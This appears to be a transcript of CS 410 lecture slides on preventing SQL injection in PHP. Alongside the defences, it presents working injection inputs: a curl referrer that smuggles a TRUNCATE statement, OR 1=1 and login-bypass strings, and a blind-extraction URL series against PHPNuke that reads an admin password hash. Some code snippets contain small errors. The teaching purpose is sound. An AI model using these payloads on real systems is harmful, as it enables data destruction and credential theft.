SQL Injection Overview
Download
Report
Transcript SQL Injection Overview
Check That Input
Preventing SQL Injection Attacks
By Andrew Morton
For CS 410
SQL Syntax Review
Basic select query:
SELECT * FROM user WHERE id = 1
AND pass = 'notsecure'
Literal strings are delimited with single
quotes.
Numeric literals aren’t delimited.
SQL Syntax Review
Some databases allow semicolons to
separate multiple statements:
DELETE FROM user WHERE id = 1; INSERT
INTO user (id, pass) VALUES (1,
'secure');
For most SQL variants, the sequence -means the rest of the line should be treated
as a comment.
Conceptual Overview
Attack targets the database layer of an
application
The attacker targets places where user input
is used in SQL statements
Vulnerabilities occur when:
User input is incorrectly filtered for string literal,
escape characters
User input is not strongly typed
A Simple Example
A little bit of PHP to save a URL's referrer to the database:
<?php
$time = time();
$uri = $_SERVER['REQUEST_URI'];
$ref = $_SERVER['HTTP_REFERER'];
$query = “INSERT INTO logs (time, url, ref) VALUES
($time, '$url', ‘$url’)”;
// … execute the query
?>
When accessed by a "normal" user, this will create a query
similar to:
INSERT INTO logs (time, url, ref) VALUES (1163635156,
'/node/33/', 'http://drewish.com/node/33/')
Lets Exploit It…
The problem is that the user can provide an
arbitrary referrer:
curl -e "http://google.com';TRUNCATE log; --"
http://localhost/refer.php
Which will result in the query:
INSERT INTO log (time, url, ref) VALUES
(1163637310, '/refer.php',
'http://google.com';TRUNCATE log; --')
And the log table would be empty
Another Simple Example
We want to have a read counter for each article on
our site
The URLs look like
http://example.com/article.php?id=X where X in an
integer.
We come up with the following:
<?php
$id = $_GET['id'];
$query = "UPDATE article SET reads = reads + 1
WHERE id = $id";
// … execute the query
?>
Another Simple Exploit
Because we don't check that $id is numeric this
one's even easier. We don't even need to insert
quotes, we just add onto the end of the query.
curl
"http://localhost/refer_2.php?id=1%20OR%201=1"
Results in:
UPDATE article SET reads = reads + 1 WHERE id = 1
OR 1=1
Though, incrementing all the counters isn't that
useful…
A More Useful Exploit
Our login code:
<?php
$user = $_POST['user'];
$pass = $_POST['pass'];
$query = "SELECT uid FROM users WHERE name =
'$user' AND pass = MD5('$pass')";
// … execute the query
?>
What if we provide the username:
' OR 1—
That results in the query:
SELECT uid from users WHERE name = '' OR 1 OR '' = ''
AND pass = MD5('pass')
Which returns all rows, ignoring the password field. This would
effectively make you the first user in the table.
Securing Your Code
Validate all user supplied input:
Escape strings:
Replacing ' with '' is not enough
Use the database’s string encoding functions. PHP’s
mysql_real_escape_string() takes the server’s in
Cast data appropriately. Expected integers should
be cast to prevent strings from being inserted in
their place
Use regular expressions to help narrow down
allowed values
Securing Your Code
Suppress error messages
Though not covered here they make it easier for
attackers to gather information about your
database:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'
[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the varchar value
': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
Securing Your Code
Use data access libraries that support prepared statements
For example PHP’s new the PDO
<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name,
value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);
// insert one row
$name = 'one‘
$value = 1
$stmt->execute();
?>
Improves performance by allowing query plans to be compiled
once.
Advanced Exploit:
Select Fishing
Use an unchecked numeric input to a query
to find the admin password hash
Password is an MD5 hash 32 characters long
with 16 possible values:
0123456890abcdef0123456890abcdef
We’ll insert a sub-query to read out one
character at a time by observing the
difference in the query’s results we can
determine
Advanced Exploit:
Select Fishing
Sample PHPNuke exploit URL:
http://site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or
+mid(a.pwd,1,1) =6&type=stories
Results in the query:
SELECT s.sid, s.aid, s.informant, s.title, s.time,
s.hometext, s.bodytext, a.url, s.comments, s.topic
from nuke_stories s, nuke_authors a WHERE s.aid=a.aid
AND (s.title LIKE '%%' OR s.hometext LIKE '%%' OR
s.bodytext LIKE '%%' OR s.notes LIKE '%%') AND
TO_DAYS(NOW()) - TO_DAYS (time) <= 1 or
mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10
If the admin’s password hash begins with a 1 we’ll get the
admin’s stories.
Advanced Exploit:
Select Fishing
So now we work our way through each of the 16 possible characters
looking for a match
Once you figure out one character move on to the next:
modules.php?name=Search&query=&topic=&category=&autho
r=&days=1+or+mid (a.pwd,1,1)=1&type=stories
...
modules.php?name=Search&query=&topic=&category=&autho
r=&days=1+or+mid (a.pwd,1,1)=9&type=stories
When you get to A-F you run into a problem: how do you avoid quotes
which would be filtered? The char() function comes to the rescue:
modules.php?name=Search&query=&topic=&category=&autho
r=&days=1+or+mid (a.pwd,1,1)=char(97)&type=stories
…
modules.php?name=Search&query=&topic=&category=&autho
r=&days=1+or+mid (a.pwd,1,1)=char(102)&type=stories
References
General
http://www.owasp.org/images/7/7d/Advanced_Topics_on_SQL_Injection_Protec
tion.ppt
http://en.wikipedia.org/wiki/Sql_injection
PHP specific
http://us3.php.net/manual/en/security.database.sql-injection.php
http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf
http://en.wikibooks.org/wiki/Programming:PHP:SQL_Injection
http://www.owasp.org/index.php/PHP_Top_5#P3:_SQL_Injection
MS SQL Specific
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
Blind Fishing
http://www.avet.com.pl/pipermail/bugdev/2003-February/002311.html
http://www.securityfocus.com/archive/1/312627/30/0/